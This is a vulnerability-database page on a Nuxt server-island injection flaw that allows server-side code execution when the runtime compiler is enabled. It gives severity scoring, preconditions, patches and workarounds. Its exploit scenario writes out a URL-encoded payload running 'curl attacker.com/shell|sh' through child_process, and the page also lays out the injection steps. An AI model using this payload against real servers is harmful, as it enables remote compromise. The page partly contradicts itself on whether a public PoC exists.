Skip to main content

Nuxt EUVDEUVD-2026-53649

| CVE-2026-71320 HIGH
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-08-05 https://github.com/nuxt/nuxt GHSA-9473-5f9j-94wq
8.1
CVSS 3.1 · Vendor: https://github.com/nuxt/nuxt
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify target Nuxt app with /__nuxt_island/ endpoint
  2. Delivery
    Determine server island component name from page source or JS bundle
  3. Exploit
    Compute deterministic unsalted content hash for target component
  4. Install
    Craft JSON props payload with nested `template` key (e.g. {"as":{"template":"<script>..."}})
  5. C2
    Submit crafted GET/POST to /__nuxt_island/<Name>_<hash>.json
  6. Execute
    Vue runtime compiler executes attacker template in Nitro server process
  7. Impact
    Arbitrary OS command execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
Exploitation Conditions

Exploitation requires two simultaneous conditions, both of which must be true: (1) vue.runtimeCompiler: true must be explicitly set in the application's nuxt.config - this option is off by default and the vulnerability is entirely unreachable without it; and (2) the application must define at least one server island component (a .server.vue file) whose rendered output exposes a dynamic-component sink. This second condition can be satisfied explicitly (the island author binds an attacker-controlled prop to <component :is>) or implicitly via Vue's standard attribute-fallthrough mechanism: if the island's single root element is a polymorphic component such as @nuxt/ui's UButton (which passes its as prop into <component :is> internally), then undeclared island props - including attacker-injected ones - are automatically forwarded to the root element's props without any explicit binding in the island template. Limiting factors: vue.runtimeCompiler is off by default (most Nuxt applications are not affected); SSG and static deployments have no live Nitro server to exploit; island component names are constrained to the build-time component registry (arbitrary component names cannot be resolved); and the island URL hash, while deterministic, requires the attacker to know the component name to construct a valid request URL.

Impact

The NVD CVSS 8.1 score (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) accurately captures the dual-precondition complexity via AC:H: exploitation requires both an explicitly enabled non-default configuration flag and a specific application-level component pattern. Real-world risk is therefore substantially lower than a raw 8.1 implies - the vast majority of Nuxt applications use the default compiler-off setting and are entirely unaffected. However, for the minority of deployments that do enable vue.runtimeCompiler (a feature used for CMS-driven or dynamic template scenarios), the risk is critical: the endpoint is unauthenticated and the payload is trivial once conditions are satisfied. The implicit attribute-fallthrough vector is particularly dangerous because developers using @nuxt/ui's UButton or other reka-ui primitives as island roots may not realize they are exposed without writing any explicit prop-forwarding code. No EPSS data was provided in the intelligence; no CISA KEV listing exists. No public POC has been identified, meaning this is currently an unconfirmed-in-wild vulnerability, but the attack primitive is straightforward enough that discovery is foreseeable. SSG/static deployments are not reachable. SSVC assessment: exploitation status is none/poc-private (no confirmed public exploit), automatable is yes once preconditions are met, technical impact is total - warranting urgent remediation for any deployment with vue.runtimeCompiler: true.

Exploit ScenarioDerived

An attacker targeting a Nuxt application that has vue.runtimeCompiler: true enabled and uses @nuxt/ui's UButton as the root of a server island component computes the deterministic island URL hash for the target component name, then sends a GET request to /__nuxt_island/MyWidget_<hash>.json?props=%7B%22as%22%3A%7B%22template%22%3A%22%3Cscript%3Erequire('child_process').execSync('curl%20attacker.com/shell|sh')%3C%2Fscript%3E%22%7D%7D. Because the island's root is UButton (a reka-ui polymorphic component), the as prop falls through via Vue's attribute inheritance and the nested template string is compiled and executed by the Vue runtime compiler in the Nitro server process, granting the attacker arbitrary OS-level code execution. No public exploit code has been confirmed at time of analysis, but the attack primitive is straightforward.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 public PoC Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 05, 2026

Server-side remote code execution in Nuxt's server island feature (nuxt >=3.4.0 <3.21.10 and >=4.0.0 <4.5.1) allows unauthenticated network attackers to execute arbitrary code in the Nitro server process by injecting a template key into island props delivered to the /__nuxt_island/ endpoint. Exploitation requires two simultaneous preconditions: vue.runtimeCompiler: true must be explicitly enabled (it is off by default), and the application must expose a server island whose rendered output routes attacker-controlled prop values into Vue's dynamic component resolution - a condition that can arise implicitly via Vue's attribute-fallthrough mechanism when the island's root is a polymorphic component such as @nuxt/ui's UButton. No public exploit code or CISA KEV listing has been identified at time of analysis, and the non-default configuration requirement substantially limits the real-world attack surface.

RemediationAI

Upgrade to nuxt@4.5.1 (for Nuxt 4.x) or nuxt@3.21.10 (for Nuxt 3.x), both of which include the findUnsafeIslandPropKey guard that rejects island requests containing a template key at any depth when runtimeCompiler is enabled. Patch commits are available at https://github.com/nuxt/nuxt/commit/5b60017f7f1d5e9384cadf1d6c580b99d583c418 and https://github.com/nuxt/nuxt/commit/ee6c846338f4eb75801815dda86df1f494725859. If immediate upgrade is not possible, the highest-priority workaround is setting vue.runtimeCompiler: false in nuxt.config (which is already the default and eliminates the vulnerability entirely, though it disables runtime template compilation). A second mitigation is auditing all .server.vue components to ensure no island root or rendered output passes attacker-controlled values into <component :is>, resolveDynamicComponent, or h() without sanitization, including implicit fallthrough onto polymorphic as/asChild props. As a defense-in-depth measure, a WAF rule can be deployed on /__nuxt_island/ that URL-decodes and JSON-parses the props parameter and blocks requests containing any object property named template or render - note this only covers direct and browser-originated island requests and does NOT protect against initial-SSR internal island renders that bypass the edge entirely. Full advisory: https://github.com/nuxt/nuxt/security/advisories/GHSA-9473-5f9j-94wq.

Affected VersionsENISA

nuxt 4.0.0, < 4.5.1
nuxt 3.4.0, < 3.21.10

Affected Packages

npm nuxt fix: 3.21.10, 4.5.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Nuxt server islands are server-rendered Vue components served via the /__nuxt_island/<Name>_<hash>.json HTTP endpoint, part of Nuxt's Nitro server runtime. The vulnerability is rooted in CWE-74 (Improper Neutralization of Special Elements in Output Used by a Downstream Component - Injection): when vue.runtimeCompiler: true is set in nuxt.config, Vue's full template compiler is bundled into the server bundle, enabling runtime compilation of arbitrary template strings. The /__nuxt_island/ handler deserializes JSON props from the request without sanitizing keys before passing them into component resolution. Vue's <component :is>, resolveDynamicComponent, and h() APIs treat an object with a template string as a component definition, causing the runtime compiler to compile and execute it in-process. The island URL hash is a deterministic, unsalted content hash - not a security boundary - so an attacker who knows the component name can compute a valid request. The patch (commits 5b60017 and ee6c846 in the Nuxt repository) introduces findUnsafeIslandPropKey, a recursive prop-tree scanner that rejects requests containing a template key at any depth when runtimeCompiler is enabled, returning HTTP 400. The fix is gated on runtimeCompiler so that legitimate CMS content containing a template field continues to render in default (compiler-off) deployments. Affected CPEs: pkg:npm/nuxt >=3.4.0 <3.21.10 and >=4.0.0 <4.5.1.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/nuxt/nuxt) PRIMARY 8.1 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.1 HIGH

AV:N because the island endpoint is HTTP; PR:N because it is unauthenticated; AC:H because exploitation requires two independent non-default preconditions (runtime compiler enabled and dynamic-component sink present in an island).

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/nuxt/nuxt).

CVSS VectorVendor: https://github.com/nuxt/nuxt

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Impact

Nuxt server islands accept props via the /__nuxt_island/ endpoint. When vue.runtimeCompiler: true is enabled (off by default) and the application has a server island component that forwards props into Vue's dynamic component resolution (<component :is>, resolveDynamicComponent, or h()), an attacker can inject a template key into the island props to achieve server-side remote code execution in the Nitro process.

json
{ "as": { "template": "<attacker-controlled>" } }

Vue's runtime template compiler compiles and executes the attacker-controlled template in the server process. The same primitive also works on the client side when the runtime compiler is active there, though the server-side path is the primary concern.

Some component libraries expose a polymorphic as / asChild prop that forwards its value into <component :is>; @nuxt/ui (via reka-ui) is a widely used example. An application is affected if such a component receives the attacker-controlled value, provided vue.runtimeCompiler is also enabled. Note this does not require the island author to explicitly forward a prop: island props that the island component does not declare fall through as attributes onto its single root element (standard Vue attribute inheritance), so an island whose root is a polymorphic component receives the attacker's as value implicitly. These libraries are not themselves vulnerable; they are noted only because they commonly provide the dynamic-component sink.

Common configurations that satisfy the preconditions

The flaw is in Nuxt core. The library below is not itself vulnerable; it is noted because it commonly provides the dynamic-component sink an application might inadvertently expose.

  • @nuxt/ui (via its underlying reka-ui primitives) exposes a polymorphic as / asChild prop that is forwarded into Vue's dynamic-component resolution. Installing @nuxt/ui does not by itself register any component as a server island. Exploitation requires the application to define an island component (a .server.vue file) whose rendered output puts the attacker-controlled value on such a component's as / asChild prop; with vue.runtimeCompiler: true, the attacker-controlled template is then compiled and executed. Because undeclared island props fall through as attributes to the single root, this can happen without any explicit binding: an island whose root is a reka-ui / @nuxt/ui component is enough. An example vulnerable island (the as value falls through to UButton, no explicit forwarding needed):
vue
  <!-- components/MyWidget.server.vue -->
  <template>
    <UButton>Save</UButton>
  </template>

The island URL hash (/__nuxt_island/<Name>_<hash>.json) is a deterministic (unsalted) content hash, not an authentication token. It provides integrity relative to the URL but is not a security boundary: an attacker who knows the component name and desired props can compute a valid hash.

Mitigating factors

  • vue.runtimeCompiler is off by default in Nuxt. The vast majority of Nuxt applications are not affected.
  • Exploitation requires a second precondition: the application must have a server island component that puts an attacker-controlled value onto a dynamic-component path (<component :is>, resolveDynamicComponent, h(), or a polymorphic as / asChild prop). This can occur explicitly or via attribute fallthrough when the island's root is such a component.
  • SSG / static deployments are largely unreachable via this vector (no server process to exploit).
  • Island component names are constrained to the build-time component registry; an attacker cannot resolve arbitrary components.

Affected versions

Nuxt >=3.4.0 <3.21.10 and >=4.0.0 <4.5.1, and only when vue.runtimeCompiler: true and component islands are active. Earlier versions did not allow the Vue compiler to be enabled in the server bundle (the compiler dependencies have been mock-aliased on the server since v3.0.0-rc.1), so the runtime-compilation path is not reachable. Nuxt 2 is not affected (no server islands).

Patches

When vue.runtimeCompiler is enabled, island requests whose decoded props contain a template key at any depth are rejected with an HTTP 400 and a diagnostic suggesting the author rename the prop or disable the runtime compiler. The guard is gated on the runtime compiler being enabled, so the default configuration (compiler off) is unaffected and legitimate props that merely contain a template field (for example CMS content) continue to render. A render key is not rejected: island props arrive as JSON, so a render value can only be an inert string, which Vue ignores.

Fixed in nuxt@4.5.1 and backported to nuxt@3.21.10.

Workarounds

Upgrade to nuxt@4.5.1 or nuxt@3.21.10. If you cannot immediately upgrade, you can mitigate by:

  1. Ensure vue.runtimeCompiler is set to false (the default).
  2. Do not forward island props into <component :is>, resolveDynamicComponent, or h() without sanitization.
  3. As a defense-in-depth measure, deploy a WAF rule on /__nuxt_island/ that URL-decodes and JSON-parses the props value and blocks any object property named template or render in the decoded island props, inspecting both query and body for all methods. Note: this only covers direct and browser-originated island requests; initial-SSR internal island renders do not transit the edge and a WAF alone does not close the vector.

Latest POC

1 public PoC link from github

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

Nuxt versions 3.4.0-3.21.9 and 4.0.0-4.5.0 contain a remote code execution vulnerability allowing unauthenticated attackers to execute code on affected servers. No public exploit identified at time of analysis, and exposure is limited to organizations that explicitly enabled vue.runtimeCompiler (off by default) with vulnerable server island configurations. Vendor patches are available.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 64% exploitable
Prevalence
High
popular Vue.js meta-framework with broad production adoption
Threat Intel
1
1 sources
Social Media
3
Sightings
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

60
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy